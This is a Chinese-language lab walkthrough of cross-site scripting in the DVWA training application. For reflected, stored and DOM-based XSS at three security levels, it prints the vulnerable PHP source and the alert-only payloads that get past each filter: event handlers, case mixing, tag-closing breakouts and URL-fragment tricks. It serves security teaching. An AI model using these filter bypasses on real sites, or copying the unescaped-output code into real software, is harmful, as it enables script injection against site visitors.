什么是XSS
跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。
跨站脚本攻击,XSS(Cross Site Scripting)。由于与CSS(Cascading Style Sheet))重名,所以就更名为
XSS。
XSS作为OWASP TOP10(2017)内容之一,主要使用JavaSript来完成恶意攻击的行为,JS可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS攻击“想象"空间非常大。也就是说,JS强大的灵活性和功能,为XSS攻击提供了非常广阔的攻击面。
- XSS攻击利用的是Javascript代码;
- Javascript运行环境(解释器)是浏览器,因为浏览器中有一个引擎专门解释运行Javascript的(chrom v8引擎 );
- XSS攻击的是客户端浏览器
XSS攻击模型
XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。
整个XSS 攻击过程,涉及三个角色:
-
服务器
-
攻击者
-
客户端浏览器用户(前端)
攻击流程:
- 攻击者将XSS代码注入到web服务器中
- 受害者访问被注入的网页,网页资源加载到受害者浏览器中,浏览器发现加载内容包含js代码,浏览器就尝试解释执行js代码,一旦执行成功,那么受害者浏览器就遭受了攻击
- 攻击后的操作可能是将敏感信息发送给攻击者,攻击者拿到敏感信息后进行恶意欺骗
- 核心三步骤:
- 攻击者向服务器注入恶意代码
- 受害者访问服务器
- 受害者执行恶意代码
XSS反射型
low等级
<script>alert('xss')</script>
输入在输入框中
出现弹窗,表示攻击成功。
查看源代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
发现并没有任何过滤。
Medium等级
输入
<script>alert('xss')</script>
发现将js标签中的内容输出了,可知后端代码将js标签过滤了。
输入js伪协议
<a href=javascript:alert(/xss/)>hello</a>
点击hello,出现弹窗,表示攻击成功
查看源代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) //判断$_GET中是否包含name
{
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );//将<script>替换为空
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
发现将<script>替换为空
High等级
输入
<script>alert('xss')</script>
输入
<a href=javascript:alert(/xss/)>hello</a>
输入
<img src="#" onclick='alert(/xss/)'>
点击图像的图标出现弹窗,表示攻击成功。
查看源代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );//只要有script就直接过滤,不管是不是大小写混写还是双写都过滤掉,只要标签中包含script就过滤。所以使用事件。
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
只要有script就直接过滤,不管是不是大小写混写还是双写都过滤掉,只要标签中包含script就过滤。所以使用事件,但是事件不能单独存在,所以要跟一个标签,这里使用img标签
XSS存储型
low等级
输入姓名,在留言处输入xss注入代码
<script>alert(/xss/)</script>
查看源代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
说明:
- trim(string,charlist) :移除字符串两侧的空白字符或其他预定义字符
- stripslashes(string): 删除反斜杠"/"
- mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
Medium等级
点击clear将Low等级的内容清理掉
上传
<script>alert(/xss/)</script>
内容被过滤了
查看源代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
说明:
- addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ’ 、" 、\ 、NULL。
- strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签。
- htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素。
发现Message使用htmlspecialchars将一些特殊字符过滤了并且strip_tags函数把<script>标签给剥除了,addslashes函数把 ’ 转义成了 \ ’
虽然Message被过滤了,但是name只过滤了<script>可以在name中进行xss注入
但是前端代码中那么字段内容限制在10字符内,所以在前端中进行修改将10改为100
name中输入
<a href =javascript:alert(/xss/)>hello</a>
点击hello出现弹窗,说明攻击成功
因为name之过滤了<script>那么是用大小写混写进行绕过
<sCRipt>alert(/xss/)</sCRipt>
High等级
查看源代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,因此只需要换一个同样能进行弹窗的标签即可。
首先修改页面中的Name参数长度为100,然后输入如下命令
在name中输入
<img src="#" onclick='alert(/xss/)'>
使用事件进行xss注入
XSSdom型
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS。与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生。除了js,flash等脚本语言也有可能存在XSS漏洞。
DOM是JS操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是将网页转为一个JS对象,从而可以用脚本进行各种操作(比如增删内容)。
Low等级
查看源码
<?php
# No protections, anything goes
?>
没有任何过滤、只是将表单的输入打印出来,那就意味着可以在url中输入JavaScript脚本来执行。
http://192.168.16.136/dv/vulnerabilities/xss_d/?default=English<script>alert('xss')</script>
Medium等级
查看源代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
发现在这个里面再一次对<script>标签进行了替换。无法使用之前的方式进行XSS攻击
检查前端html语句。
value的值是从这个当中选出来的,那么可以通过构造闭合来执行语句。
尝试使用img标签
<img src=1 οnerrοr=alert("xss")>
输入后发现页面没有变化
查看页面代码,发现构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套构造的img标签的,因此需要先将前面的select标签和option标签都闭合后才能使用img标签。
</select></option><img src=1 οnerrοr=alert('xss');>
High等级
查看源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
此处使用了白名单过滤,只允许传的 default值为 French English German Spanish 其中一个。
只能找方法绕过服务器端的处理,直接在本地运行构造的语句,可以过“#”来注释掉后面的内容,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示,可以直接与浏览器进行交互。
#<script>alert('xss');</script>
如果没反应就刷新页面。
也可以使用& 拼接另一个参数(随便定义),也就是双参数绕过。
&=<script>alert('xj')</script>